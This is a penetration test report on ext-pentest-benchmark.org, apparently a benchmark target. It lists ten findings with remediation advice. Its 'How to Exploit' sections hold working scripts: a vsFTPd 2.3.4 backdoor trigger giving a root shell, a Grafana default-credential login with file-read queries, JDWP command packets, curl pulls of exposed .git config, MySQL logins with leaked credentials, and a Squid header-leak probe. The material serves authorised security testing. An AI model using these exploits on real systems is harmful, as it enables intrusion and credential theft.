aikido

23 October 2026

Penetration Test Report

External Network Security Assessment of ext-pentest-benchmark.org

For Aikido-pentest-benchmarks

Table of contents

1. Executive Summary

1.1 Confidentiality Statement 3

1.2 Report Overview 3

2. Findings

2.1 Vulnerability Distribution 4

2.2 Master Findings Table 5

2.3 Detailed Findings 6

1. Executive Summary

1.1 Confidentiality Statement

This document is the exclusive property of **Aikido-pentest-benchmarks** and **Aikido**. This document contains proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any form, requires the consent of Aikido-pentest-benchmarks. Aikido-pentest-benchmarks may share this document with auditors under non-disclosure agreements to demonstrate penetration test requirement compliance.

1.2 Report Overview

On **23 October 2026**, Aikido conducted an external network penetration test for Aikido-pentest-benchmarks. The primary goal of this engagement was to simulate an external attack by discovering and mapping all internet facing assets, open ports, services and vulnerabilities that could lead to compromise or exposure of sensitive information.

The following top-level domains were provided as starting point for this assessment:

- **ext-pentest-benchmark.org**

The evaluation resulted in 2 critical, 4 high, 1 medium and 3 low findings and revealed that there are several opportunities to strengthen the cybersecurity posture of the network. The environment shows a foundational commitment to security, but targeted improvements are recommended to reduce the likelihood and impact of compromise.

Identified Improvement Points

Several services were found running with default or missing authentication controls, allowing access without valid credentials. Strengthening authentication requirements across administrative interfaces and internal services would meaningfully reduce the risk of unauthorized access. Adopting a consistent policy for credential management and access control is a recommended next step.

Sensitive materials including credentials and private keys were found exposed through publicly accessible files and repositories. A review of source code management practices and web server configurations would help ensure that confidential information is not inadvertently made available. Establishing controls to detect and prevent accidental exposure of secrets is a worthwhile investment.

Some components in the environment are running outdated or end-of-life software versions that no longer receive security updates. A structured approach to patch management and software lifecycle tracking would help keep the environment aligned with current security standards. Prioritizing the replacement or upgrade of aging components is a practical step toward reducing long-term exposure.

Conclusion

This engagement identified 10 findings that could impact the confidentiality, integrity, and availability of the network if left unaddressed. We recommend following the detailed remediation guidance in this report and validating each fix through structured retesting.

2. Findings

2.1 Vulnerability Distribution



Critical	High	Medium	Low
0/2 solved	0/4 solved	0/1 solved	0/3 solved

The table below outlines each identified vulnerability, categorized by severity and current remediation status.

- **Critical-severity issues** involve a backdoored vsFTPd 2.3.4 installation and default Grafana admin credentials, both of which allow unauthenticated attackers to gain full administrative or root-level access to the system.
- **High-severity issues** include an exposed unauthenticated JDWP debug service, leaked repository credentials enabling remote MySQL access, a publicly accessible .git/config file leaking database credentials and SSH private keys, and a Squid vulnerability (CVE-2025-62168) that discloses Authorization headers, all of which could lead to unauthorized access, credential theft, or data leakage.
- **Medium-severity issues** involve Squid proxy authentication accepting arbitrary Basic credentials, which could allow unauthorized users to bypass access controls and misuse the proxy service.
- **Low-severity issues** include an unauthenticated Grafana /metrics endpoint leaking internal telemetry, deprecated SHA-1 MAC algorithms permitted on the SSH server, and an end-of-life Squid 6.13 deployment, all of which increase the attack surface and risk of future exploitation.

2.2 Master Findings Table

ID	Title	State	Severity
PT-1	Backdoored vsFTPd 2.3.4 allows unauthenticated root shell access (CVE-2011-2523)	Unresolved	Critical
PT-2	Default Grafana admin credentials allow unauthenticated administrative access	Unresolved	Critical
PT-3	Unauthenticated Java Debug Wire Protocol (JDWP) service exposed on v.ext-pentest-benchmark.org:5007	Unresolved	High
PT-4	Leaked repository credential set provides authenticated remote MySQL access	Unresolved	High
PT-5	Unauthenticated exposure of /.git/config leaks DB credentials and SSH private key	Unresolved	High
PT-6	CVE-2025-62168: Squid 6.13 discloses Authorization headers in error pages	Unresolved	High
PT-7	Squid proxy authentication accepts arbitrary Basic credentials	Unresolved	Medium
PT-8	Unauthenticated Grafana /metrics endpoint discloses internal telemetry	Unresolved	Low
PT-9	SSH server allows deprecated SHA-1 MAC algorithms on port 22	Unresolved	Low
PT-10	End-of-life Squid 6.13 exposed on proxy endpoint	Unresolved	Low

2.3 Detailed Findings

2.3.1 PT-1 - Backdoored vsFTPd 2.3.4 allows unauthenticated root shell access (CVE-2011-2523)

Critical

Identified on: October 23rd 2026

Description

The FTP service identifies as vsFTPd 2.3.4 and accepts the classic smiley-user trigger sequence. After sending `USER letmein:)` and `PASS please` to port 21, a shell listener on port 6200 executes commands and returns `uid=0(root) gid=0(root)`. This enables unauthenticated full host compromise through the backdoored service.

Business Impact

This issue enables full remote compromise of the affected host without authentication. Because commands are executed as root, an attacker can read or modify sensitive data, install persistence, disable defenses, and fully control system integrity and availability. Business impact includes high likelihood of data breach, service outage, destructive tampering, and lateral movement into connected environments. Any workloads, files, credentials, or secrets accessible from this host should be treated as potentially exposed. Exploitation likelihood is very high because the trigger pattern and workflow are widely documented, require minimal skill, and were validated directly against the internet-exposed service. Depending on hosted data and business function, this may create reportable incident exposure under regulatory and contractual obligations.

How to Exploit

Step 1: Connect to the non-web service at 74.241.169.87:21 and read the FTP banner to confirm the running version.

```
import socket
host='74.241.169.87'
port=21
s=socket.create_connection((host,port),timeout=8)
banner=s.recv(1024)
print('BANNER_RAW:',banner)
try:
    print('BANNER_TEXT:',banner.decode(errors='replace').strip())
except Exception as e:
    print('decode error',e)
s.close()
```

Step 2: Trigger the known backdoor sequence on 74.241.169.87:21, then connect to 74.241.169.87:6200 and execute a harmless identity command to confirm unauthenticated root command execution.

```
import socket,re
from distutils.version import LooseVersion
host='74.241.169.87'

# Reproduce passive version matchers used by CVE-2011-0762, CVE-2015-1419, CVE-2021-30047
s=socket.create_connection((host,21),timeout=8)
banner=s.recv(1024).decode(errors='replace').strip()
s.close()
print('FTP banner:',repr(banner))
m=re.search(r'vsFTPd ([0-9.]+)',banner)
if not m:
    print('No vsFTPd version extracted; passive templates would not match.')
    raise SystemExit(0)
ver=m.group(1)
print('Extracted version:',ver)

def cmp(v,a,op):
    lv=LooseVersion(v); la=LooseVersion(a)
    return {'<':lv<la,'<=':lv<=la,'>':lv>la,'>=':lv>=la,'==':lv==la}[op]

print('CVE-2011-0762 matcher contains(vsFTPd) and version < 2.3.3 ->',('vsFTPd' in banner) and cmp(ver,'2.3.3','<'))
print('CVE-2015-1419 matcher contains(vsFTPd) and version <= 3.0.2 ->',('vsFTPd' in banner) and cmp(ver,'3.0.2','<='))
print('CVE-2021-30047 matcher contains(vsFTPd) and version < 3.0.3 ->',('vsFTPd' in banner) and cmp(ver,'3.0.3','<'))

# Reproduce CVE-2011-2523 template behavior safely
print('\nTesting CVE-2011-2523 backdoor trigger and port 6200 response...')
try:
```

```
    s1=socket.create_connection((host,21),timeout=8)
    pre=s1.recv(1024)
    payload=b'USER letmein:)\r\nPASS please\r\n'
    s1.sendall(payload)
    try:
        post=s1.recv(1024)
    except socket.timeout:
        post=b''
    s1.close()
    print('Sent trigger USER/PASS, ftp pre-banner:',pre.decode(errors='replace').strip())
    print('FTP response after trigger:',post.decode(errors='replace').strip())
except Exception as e:
    print('Failed sending trigger on port 21:',e)

try:
    s2=socket.create_connection((host,6200),timeout=8)
    s2.settimeout(3)
    print('Connected to 6200: backdoor listener appears OPEN')
    s2.sendall(b'id\n')
    try:
        resp=s2.recv(4096)
    except socket.timeout:
        resp=b''
    print('Response to harmless id command on 6200:',resp.decode(errors='replace'))
    s2.close()
except Exception as e:
    print('Could not connect to 6200 after trigger:',e)
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Immediately remove the affected host from external exposure or block inbound access to TCP/21 and TCP/6200 at the network perimeter until remediation is complete.
- Replace vsFTPd 2.3.4 with a trusted, clean, currently supported FTP implementation/version from a verified package source; do not reuse the existing binary or image.
- Treat the host as potentially compromised: perform incident response, collect forensic evidence, rebuild from a known-good baseline, and rotate all credentials/secrets that may have been accessible from the system.
- Harden service exposure by restricting FTP access to approved management networks/VPN only, and disable FTP entirely if not strictly required.
- Implement continuous vulnerability and asset management controls to prevent deployment of end-of-life or known-backdoored software versions in internet-facing environments.

References

CVSS 9.3: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE-912: Hidden Functionality

2.3.2 PT-2 - Default Grafana admin credentials allow unauthenticated administrative access

Critical

Identified on: October 23rd 2026

Description

The Grafana login endpoint accepted the default admin credentials (admin/admin) and returned a valid authenticated session cookie. This permits unauthenticated attackers to log in as an administrator and perform privileged actions across the instance.

Business Impact

Administrative compromise of Grafana enables unauthorized control over dashboards, alerting, user management, organization settings, and integrations. In many deployments, Grafana also contains data source connection details and operational metadata that can be leveraged to access additional systems, increasing blast radius beyond the web interface itself. Likelihood of exploitation is high because default credentials are well known and can be tested with a single unauthenticated request. No brute force or advanced capability is needed, and successful login immediately grants privileged access. From a governance perspective, this can lead to unauthorized access to monitoring data and configuration records, creating potential compliance exposure where monitoring systems process regulated operational or user-linked telemetry.

How to Exploit

Step 1: Run this Python 3 script against https://g.ext-pentest-benchmark.org:443 to compare an invalid login attempt with the Grafana default administrator credential pair.

```
import requests, json, re
base='https://g.ext-pentest-benchmark.org'
requests.packages.urllib3.disable_warnings()

# Unauthenticated query attempt
payload={
  "from":"1729313027261",
  "queries":[{
    "datasource":{"name":"Expression","type":"__expr__","uid":"__expr__"},
    "expression":"SELECT 1",
    "hide":False,
    "refId":"B",
    "type":"sql",
    "window":""
  }],
  "to":"1729334627261"
}
r0=requests.post(base+'/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101',json=payload,verify=False,timeout=20)
print('Unauth ds/query status:',r0.status_code,'body:',r0.text[:180].replace('\n',' '))

s=requests.Session(); s.verify=False
# Wrong credential baseline
bad=s.post(base+'/login',json={'user':'<DEFAULT_ADMIN_USERNAME>','password':'<INVALID_PASSWORD>'},timeout=20)
print('Bad login status:',bad.status_code,'body:',bad.text.strip(),'set-cookie has session?', 'grafana_session' in bad.headers.get('Set-Cookie',''))

# Default credential login
ok=s.post(base+'/login',json={'user':'<DEFAULT_ADMIN_USERNAME>','password':'<DEFAULT_ADMIN_PASSWORD>'},timeout=20)
print('Default login status:',ok.status_code,'body:',ok.text.strip(),'set-cookie has session?', 'grafana_session' in ok.headers.get('Set-Cookie',''))

# CVE-2024-9264 style query but non-sensitive file read
queries=[
"SELECT content FROM read_blob('/etc/hostname')",
"SELECT * FROM read_csv_auto('/etc/hostname')"
]
for expr in queries:
    p={
      "from":"1729313027261",
      "queries":[{
        "datasource":{"name":"Expression","type":"__expr__","uid":"__expr__"},
        "expression":expr,
        "hide":False,
        "refId":"B",
        "type":"sql",
        "window":""
      }],
      "to":"1729334627261"
```

```
}
r=s.post(base+'/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101',json=p,timeout=20)
txt=r.text
print('\nExpr:',expr)
print('status:',r.status_code,'content-type:',r.headers.get('Content-Type',''))
print('body-snippet:',txt[:500].replace('\n',' '))
```

Step 2: Paste this request into Burp Repeater with target https://g.ext-pentest-benchmark.org:443 to confirm that successful default-credential login issues a valid authenticated session cookie.

Remediation

Implement the following measures to eliminate this vulnerability:

- Immediately change the default Grafana administrator password to a unique, high-entropy secret stored in a secrets manager.
- Disable, rename, or tightly restrict default administrative accounts where platform behavior permits it.
- Enforce first-login credential rotation and prohibit service deployment with vendor default credentials in build/runbooks.
- Integrate SSO with MFA for administrative access and reduce direct password-based local admin logins where possible.
- Add network access controls for the Grafana login surface (for example VPN, allowlisting, or administrative gateway) to reduce internet exposure.
- Implement continuous configuration compliance checks to detect and alert on default credentials in deployed services.

References

CVSS 9.3: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE-1392: Use of Default Credentials

2.3.3 PT-3 - Unauthenticated Java Debug Wire Protocol (JDWP) service exposed on v.ext-pentest-benchmark.org:5007

High

Identified on: October 23rd 2026

Description

The service on port 5007 was confirmed to accept unauthenticated JDWP sessions and process debugger commands successfully. A remote client completed the JDWP handshake and executed VirtualMachine.Version and VirtualMachine.IDSizes requests with error code 0, disclosing JVM details and exposing a debugger control interface. This condition creates a realistic path to JVM compromise because exposed JDWP is commonly leveraged for remote code execution through debug capabilities.

Business Impact

This condition creates a high-impact risk because unauthenticated parties can reach a privileged debugger interface on a production-reachable host. Successful debugger interaction enables deep runtime introspection and may allow manipulation of application execution, which can lead to confidentiality breaches, integrity loss, and service disruption. The likelihood of exploitation is elevated because discovery and validation are straightforward: a single network connection and protocol handshake were sufficient to confirm access and execute commands. Exposed JDWP endpoints are actively targeted in opportunistic scanning and post-exploitation automation, making time-to-abuse potentially short once the service is indexed. If regulated or sensitive workloads are hosted in the JVM process, unauthorized runtime access can contribute to reportable incidents under common security and privacy obligations due to potential access to in-memory secrets, user data, or internal system metadata.

How to Exploit

Step 1: Run this Python 3 script from a terminal to connect to 74.241.169.87:5007, complete the JDWP handshake, and issue `VirtualMachine.Version`.

```
import socket,struct
host='74.241.169.87';port=5007
s=socket.create_connection((host,port),timeout=6)
s.settimeout(6)
# 1) JDWP handshake
s.sendall(b'JDWP-Handshake')
reply=s.recv(14)
print('handshake_reply:',reply)

# 2) VirtualMachine.Version command packet
pkt=bytes.fromhex('0000000b00000001000101')
s.sendall(pkt)

# recv response header
hdr=s.recv(11)
print('resp_header_hex:',hdr.hex())
if len(hdr)==11:
    length,ident,flags,error=struct.unpack('>IIBH',hdr)
    print('length',length,'id',ident,'flags',flags,'error',error)
    body=b''
    rem=length-11
    while rem>0:
        chunk=s.recv(rem)
        if not chunk:
            break
        body+=chunk
        rem-=len(chunk)
    print('resp_body_len',len(body))
    print('resp_body_ascii_sample',body[:300])
    # extract printable strings
    import re
    strings=re.findall(rb'[ -~]{4,}',body)
    print('printable_strings', [x.decode('latin1','ignore') for x in strings[:10]])
s.close()
```

Step 2: Run this Python 3 script from a terminal to issue `VirtualMachine.Version` and `VirtualMachine.IDSizes` in the same unauthenticated JDWP session against 74.241.169.87:5007.

```
import socket,struct
host='74.241.169.87';port=5007
s=socket.create_connection((host,port),timeout=6)
s.settimeout(6)
s.sendall(b'JDWP-Handshake')
print('hs:',s.recv(14))
# command helper

def send_cmd(pkt_hex):
    s.sendall(bytes.fromhex(pkt_hex))
    hdr=s.recv(11)
    l,i,f,e=struct.unpack('>IIBH',hdr)
    data=b''
    rem=l-11
    while rem>0:
        c=s.recv(rem)
        if not c:break
        data+=c; rem-=len(c)
    return l,i,f,e,data

# Version
l,i,f,e,data=send_cmd('0000000b00000001000101')
print('version_error',e,'len',l)
# IDSizes
l,i,f,e,data=send_cmd('0000000b00000002000107')
print('idsizes_error',e,'len',l,'raw',data.hex())
if len(data)==20:
    vals=struct.unpack('>IIIII',data)
    print('fieldID,methodID,objectID,referenceTypeID,frameID sizes=',vals)
s.close()
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Disable JDWP on internet-facing or production JVM instances by removing remote debug startup flags (for example, `-agentlib:jdwp=...`) in runtime configuration.
- If debugging is operationally required, bind JDWP to localhost only and access it through a controlled, authenticated tunnel (for example, temporary SSH port forwarding) during approved maintenance windows.
- Block external access to the debug port at perimeter and host firewalls; allow only explicitly approved administrator source addresses where strictly necessary.
- Segment debug-capable workloads into restricted management networks and deny lateral access from untrusted zones.
- Add continuous exposure checks (asset scanning and configuration compliance rules) to detect and alert on publicly reachable JDWP endpoints.
- Rotate sensitive secrets that may have been present in process memory and review logs for suspicious debugger connection activity, then restart affected JVM processes after hardening.

References

CVSS 6.9: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-489: Active Debug Code

2.3.4 PT-4 - Leaked repository credential set provides authenticated remote MySQL access

High

Identified on: October 23rd 2026

Description

A credential pair exposed through the publicly accessible repository metadata was demonstrated to authenticate successfully to the internet-reachable MySQL service at 74.241.169.87:3306. Baseline authentication with an invalid ******** was rejected, while the leaked credential set established a valid session and returned database identity/version data via a read-only query. This confirms concrete cross-service impact beyond secret disclosure by enabling unauthorized database access.

Business Impact

This condition materially increases business risk beyond secret disclosure because unauthorized actors can authenticate directly to a live database service. Once authenticated, the actor can perform any action granted to that account, including reading sensitive records, modifying data, or staging further abuse through trusted backend channels. Likelihood of exploitation is high. Public repository artifact exposure is routinely scanned, and credential replay against common service ports is highly automatable. The successful login outcome confirms that this is immediately actionable rather than theoretical. Potential consequences include confidentiality loss of customer or operational data, integrity impact from unauthorized changes, incident response and recovery cost, and service disruption if destructive SQL operations are executed. Depending on stored data categories, unauthorized database access may also trigger contractual, regulatory, or breach-notification obligations.

How to Exploit

Step 1: Run this command against http://9.223.182.7:8080 with Host header auro.ext-pentest-benchmark.org:8080 to confirm that repository configuration data containing database credentials is publicly retrievable.

```
curl -sS --max-time 15 -H 'Host: auro.ext-pentest-benchmark.org:8080' http://9.223.182.7:8080/.git/config | sed -n '1,220p'
```

Step 2: Run this Python 3 script to establish a baseline by attempting MySQL authentication with an invalid ******** on 74.241.169.87:3306.

```
import pymysql
host='74.241.169.87'; port=3306; user='<redacted>'; db='<redacted>'
# Baseline with invalid ********
try:
    pymysql.connect(host=host,port=port,user=user,********='****word',database=db,connect_timeout=8,read_timeout=8,write_timeout=8)
    print('BASELINE_UNEXPECTED_SUCCESS')
except Exception as e:
    print('BASELINE_AUTH_FAILED',type(e).__name__,str(e))
```

Step 3: Run this Python 3 script with the leaked credential values from step 1 to authenticate to MySQL and execute one read-only identity/version query.

```
import pymysql
host='74.241.169.87'; port=3306; user='<redacted>'; ********='<redacted>'; db='<redacted>'
try:
    conn=pymysql.connect(host=host,port=port,user=user,********=********,database=db,connect_timeout=10,read_timeout=10,write_timeout=10,
autocommit=True)
    with conn.cursor() as cur:
        cur.execute('SELECT USER(), CURRENT_USER(), DATABASE(), @@version LIMIT 1')
        print('MYSQL_LOGIN_SUCCESS',cur.fetchone())
    conn.close()
except Exception as e:
    print('MYSQL_LOGIN_FAILED',type(e).__name__,str(e))
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Rotate the exposed database credential immediately and invalidate any other secrets present in exposed repository metadata.
- Remove `.git` and all development artifacts from web-accessible paths, and enforce deny rules for `/.git` at web server and reverse-proxy layers.
- Restrict MySQL network exposure so the service is not directly reachable from untrusted networks; allow only required application or administration source ranges.
- Reduce database account privileges to least privilege and restrict host-based login patterns to explicit trusted origins only.
- Migrate secrets out of repository/config files into a managed secret store with controlled runtime injection.
- Implement continuous secret scanning and deployment-time policy checks to block releases containing credentials or private keys.

References

CVSS 9.2: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CWE-798: Use of Hard-coded Credentials

2.3.5 PT-5 - Unauthenticated exposure of /.git/config leaks DB credentials and SSH private key

High

Identified on: October 23rd 2026

Description

The HTTP service on port 8080 serves `/.git/config` and related Git metadata without authentication. The exposed config contains plaintext database credentials and an RSA private key intended for SSH access to a backend host, creating a clear path to unauthorized infrastructure access. This issue enables cross-boundary compromise risk beyond the web application itself.

Business Impact

This condition creates immediate confidentiality and environment-boundary risk because secrets intended for backend administration were disclosed through a public-facing web service. If the exposed credentials are valid, unauthorized access to the database and host-level administration paths can follow, allowing data extraction, tampering, or further lateral movement. The likelihood of exploitation is high because the vulnerable path is well known, easily automated, and requires no authentication. Attackers routinely probe for `.git` artifacts on internet-facing hosts, so discovery probability is substantial. The impact extends beyond the web application itself into infrastructure and data layers, which can increase incident scope, recovery cost, and downtime. Depending on stored data types, this may also introduce regulatory exposure tied to unauthorized access to personal or business-sensitive information.

How to Exploit

Step 1: Run this request against `http://9.223.182.7:8080` with the scoped Host header to confirm unauthenticated access to the Git config file.

```
curl -i -sS --max-time 8 "http://9.223.182.7:8080/.git/config" -H 'Host: auro.ext-pentest-benchmark.org:8080' | sed -n '1,15p'
```

Step 2: Run this request to inspect the returned config body and verify that sensitive secrets are present in plaintext.

```
curl -sS --max-time 10 http://9.223.182.7:8080/.git/config -H 'Host: auro.ext-pentest-benchmark.org:8080' | sed -n '1,120p'
```

Step 3: Run this request to confirm that other Git metadata is also exposed, showing directory-level `.git` exposure rather than a single-file leak.

```
curl -i -sS --max-time 10 http://9.223.182.7:8080/.git/HEAD -H 'Host: auro.ext-pentest-benchmark.org:8080' | sed -n '1,20p'
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Block access to all VCS metadata paths at the web server and reverse proxy layers (at minimum deny `/.git`, `/.git/*`, and hidden dotfile patterns) and redeploy immediately.
- Remove `.git` directories and other development artifacts from production web roots; deploy only build artifacts required to serve the application.
- Treat exposed secrets as compromised and rotate all affected database credentials and SSH keys immediately, then invalidate any derived access.
- Move credentials and private keys out of repository files and into a managed secret store or environment-based secret injection with strict access controls.
- Add CI/CD secret scanning and repository policy checks to prevent committing keys/passwords, and add deployment checks that fail when `.git` content is present in release packages.
- Review access logs for requests to `/.git` paths and investigate potential unauthorized access to downstream systems reached by the exposed credentials.

References

CVSS 8.7: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-552: Files or Directories Accessible to External Parties

2.3.6 PT-6 - CVE-2025-62168: Squid 6.13 discloses Authorization headers in error pages

High

Identified on: October 23rd 2026

Description

The Squid proxy on port 8443 was confirmed to include full HTTP request diagnostics in generated ERR_DNS_FAIL pages, including URL-encoded `Authorization` and `Proxy-Authorization` values. This causes sensitive credential material to be exposed in response bodies returned to clients and any systems that capture these responses. The behavior matches the credential-redaction flaw tracked as CVE-2025-62168 for Squid versions prior to 7.2.

Business Impact

Credential material placed in `Authorization` and `Proxy-Authorization` headers can be disclosed to any client receiving the generated error page and to downstream systems that store response bodies, such as browser history, proxy logs, observability pipelines, support tools, and ticket attachments. This can expose API tokens, bearer tokens, and Basic credentials beyond their intended trust boundary. If leaked credentials are valid for upstream services, unauthorized access to internal or third-party systems may follow, including data exposure and privilege misuse. Even short-lived tokens can be captured and replayed within their validity window, increasing operational and incident-response burden. The likelihood of exploitation is elevated because the trigger condition is simple: a proxied request that causes an error page (for example DNS failure). This can occur during normal operation as well as deliberate probing. Depending on the data types protected by affected credentials, the exposure may create reportable compliance impact under common privacy and security frameworks.

How to Exploit

Step 1: Run this command against `http://74.241.169.87:8443` with `Host: v.ext-pentest-benchmark.org:8443` to confirm the scoped virtual host is served by Squid 6.13. You can also paste the raw request into Burp Repeater targeting the same host and port.

```
curl -sS -i --max-time 10 -H 'Host: v.ext-pentest-benchmark.org:8443' http://74.241.169.87:8443/ | sed -n '1,80p'
```

Step 2: Run this Python 3 script to send a proxied request with both `Proxy-Authorization` and `Authorization` headers to an invalid hostname, forcing `ERR_DNS_FAIL` and checking whether the returned error page leaks the encoded credentials. Use target `http://74.241.169.87:8443` with the same scoped Host header, or replay the raw request in Burp with concrete values.

```
import socket,base64,uuid
host='74.241.169.87';port=8443
bearer='tok_'+uuid.uuid4().hex[:12]
proxy_b64=base64.b64encode(f"u{uuid.uuid4().hex[:6]}:p{uuid.uuid4().hex[:6]}".encode()).decode()
invalid=f"{uuid.uuid4().hex}.invalid"
req=(
 f"GET http://{invalid}/ HTTP/1.1\r\n"
 "Host: v.ext-pentest-benchmark.org:8443\r\n"
 f"Proxy-Authorization: Basic {proxy_b64}\r\n"
 f"Authorization: Bearer {bearer}\r\n"
 "Connection: close\r\n\r\n"
)
print('Request host:',invalid)
s=socket.create_connection((host,port),timeout=10)
s.sendall(req.encode())
resp=b''
while True:
    d=s.recv(4096)
    if not d: break
    resp+=d
s.close()
text=resp.decode('utf-8','replace')
print(text.split('\r\n',1)[0])
print('ERR_DNS_FAIL', 'ERR_DNS_FAIL' in text)
print('mailto', 'mailto:' in text)
print('Bearer token leaked raw', bearer in text)
print('Bearer token leaked encoded', ('Authorization%3A%20Bearer%20'+bearer) in text)
idx=text.find(bearer)
if idx!=-1:
```

```
print('\nContext:')
print(text[max(0,idx-150):idx+150])
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Upgrade Squid to version 7.2 or later, which addresses CVE-2025-62168 credential redaction behavior.
- Apply immediate mitigation by disabling inclusion of request diagnostic data in error-page mailto links (for example, `email_err_data off`) until patching is completed.
- Review and sanitize any custom Squid error templates to ensure authentication headers are never rendered in client-facing responses.
- Treat potentially exposed credentials as compromised: rotate affected tokens/passwords and invalidate active sessions where feasible.
- Reduce secondary exposure by preventing long-term storage of full proxy error bodies in logs, monitoring pipelines, and support tooling.

References

CVSS 8.7: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-209: Generation of Error Message Containing Sensitive Information

2.3.7 PT-7 - Squid proxy authentication accepts arbitrary Basic credentials

Medium

Identified on: October 23rd 2026

Description

The proxy at port 8443 denied requests without authentication but accepted multiple random `Proxy-Authorization: Basic` username/password pairs and forwarded traffic to the callback endpoint. This demonstrates that credential values are not meaningfully validated, making the relay effectively available to unauthorized users. The condition enables unauthorized proxy use and associated abuse risk.

Business Impact

The proxy can be used as an unauthorized outbound relay by anyone who can reach the service and provide any well-formed Basic header. This creates abuse risk, including spam/scanning relay activity, evasion of origin attribution, and third-party complaints or blocklisting tied to the organization's infrastructure. Operational and financial impact can follow from incident response workload, degraded reputation of IP space, and potential service disruption if upstream providers throttle or suspend traffic from abused addresses. Security controls that depend on authenticated proxy use are also undermined because authentication no longer separates trusted users from untrusted users. Likelihood of exploitation is elevated because exploitation is straightforward and requires only low-complexity HTTP requests. If proxy logs are used for accountability, arbitrary usernames can also reduce traceability quality and complicate forensics. Depending on industry obligations, unauthorized relay abuse may trigger internal policy violations and external reporting requirements.

How to Exploit

Step 1: Run this Python 3 script to send an unauthenticated explicit-proxy request to `http://74.241.169.87:8443` with the required Host header. This establishes the baseline denial behavior.

```
import socket, uuid
host='74.241.169.87';port=8443
path='unauth-'+uuid.uuid4().hex[:8]
req=(
 f"GET http://ab35eba0cf7df233.staging-aikido-proxy.com/{path} HTTP/1.1\r\n"
 "Host: v.ext-pentest-benchmark.org:8443\r\n"
 "Connection: close\r\n\r\n"
)
print(req)
s=socket.create_connection((host,port),timeout=10)
s.sendall(req.encode())
resp=b''
while True:
    d=s.recv(4096)
    if not d: break
    resp+=d
s.close()
text=resp.decode('utf-8','replace')
print('\n'.join(text.splitlines()[:25]))
```

Step 2: Run this Python 3 script to compare unauthenticated access versus multiple random Basic credential pairs. It sends one baseline request without `Proxy-Authorization`, three requests with random credentials, and one malformed header request.

```
import socket,base64,uuid,random,string
host='74.241.169.87';port=8443

def do_req(proxy_auth_header):
    path='credtest-'+uuid.uuid4().hex[:6]
    req=(
        f"GET http://ab35eba0cf7df233.staging-aikido-proxy.com/{path} HTTP/1.1\r\n"
        "Host: v.ext-pentest-benchmark.org:8443\r\n"
        f"{proxy_auth_header}\r\n"
        "Connection: close\r\n\r\n"
    )
    s=socket.create_connection((host,port),timeout=10)
    s.sendall(req.encode())
    resp=b''
    while True:
        d=s.recv(4096)
```

```
        if not d: break
        resp+=d
    s.close()
    t=resp.decode('utf-8','replace')
    return t.split('\r\n',1)[0]

print('No auth baseline:')
req=(
    f"GET http://ab35eba0cf7df233.staging-aikido-proxy.com/baseline-{uuid.uuid4().hex[:6]} HTTP/1.1\r\n"
    "Host: v.ext-pentest-benchmark.org:8443\r\n"
    "Connection: close\r\n\r\n"
)
s=socket.create_connection((host,port),timeout=10); s.sendall(req.encode()); r=b''
while True:
    d=s.recv(4096)
    if not d: break
    r+=d
s.close()
print(r.decode('utf-8','replace').split('\r\n',1)[0])

for i in range(3):
    u='u'+uuid.uuid4().hex[:8]
    p='p'+uuid.uuid4().hex[:8]
    b=base64.b64encode(f"{u}:{p}".encode()).decode()
    status=do_req(f"Proxy-Authorization: Basic {b}")
    print(f"Random credential {u}:{p} -> {status}")

status_bad=do_req("Proxy-Authorization: Basic !!!notbase64!!!")
print('Malformed base64 header ->',status_bad)
```

Step 3: Verify that the callback listener recorded the forwarded requests generated by the random-credential test.

Remediation

Implement the following measures to eliminate this vulnerability:

- Require strict proxy credential validation against a real authentication backend (for example, LDAP, PAM, or a verified password file) and reject any unknown username/password pair.
- Review and correct Squid `auth_param`, `acl proxy_auth`, and `http_access` ordering so that only verified authenticated users are allowed; keep an explicit `http_access deny all` fallback.
- Disable any test or permissive authentication helper behavior that treats any Basic token as acceptable.
- Restrict proxy reachability with source IP allowlisting or network segmentation so untrusted networks cannot reach the explicit proxy listener.
- Add monitoring and alerting for unusual authenticated usernames, high outbound request rates, and abuse patterns; rotate exposed proxy credentials if any were previously used.

References

CVSS 6.9: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:N/SA:N

CWE-287: Improper Authentication

2.3.8 PT-8 - Unauthenticated Grafana /metrics endpoint discloses internal telemetry

Low

Identified on: October 23rd 2026

Description

The Grafana metrics endpoint was accessible without authentication at /metrics and returned Prometheus-formatted internal telemetry. The response included exact build/version metadata and detailed per-handler request counters for administrative and API routes, enabling unauthenticated reconnaissance of internal service behavior.

Business Impact

This exposure increases the effectiveness of attacker reconnaissance by disclosing precise platform fingerprinting data and internal route behavior. Knowledge of exact build and revision details can accelerate exploit selection, while per-handler traffic and status patterns can reveal which administrative features are present and actively used. Although no direct state-changing action was demonstrated through this endpoint alone, the leaked telemetry materially lowers effort for follow-on attacks against the same service and related infrastructure. The likelihood of opportunistic probing is high because the endpoint is unauthenticated and easily scriptable. From a governance perspective, publicly exposed operational telemetry may violate internal hardening standards for production monitoring systems and can conflict with least-privilege expectations in security baselines and compliance programs.

How to Exploit

Step 1: Run this unauthenticated request against https://74.241.169.87:443 with Host header `g.ext-pentest-benchmark.org` to retrieve Grafana telemetry from `/metrics`.

```
curl -sk -H 'Host: g.ext-pentest-benchmark.org' https://74.241.169.87:443/metrics | grep -E '^(grafana_build_info|grafana_stat_totals_|grafana_instance_info|grafana_http_request_duration_seconds_count)' | head -n 20
```

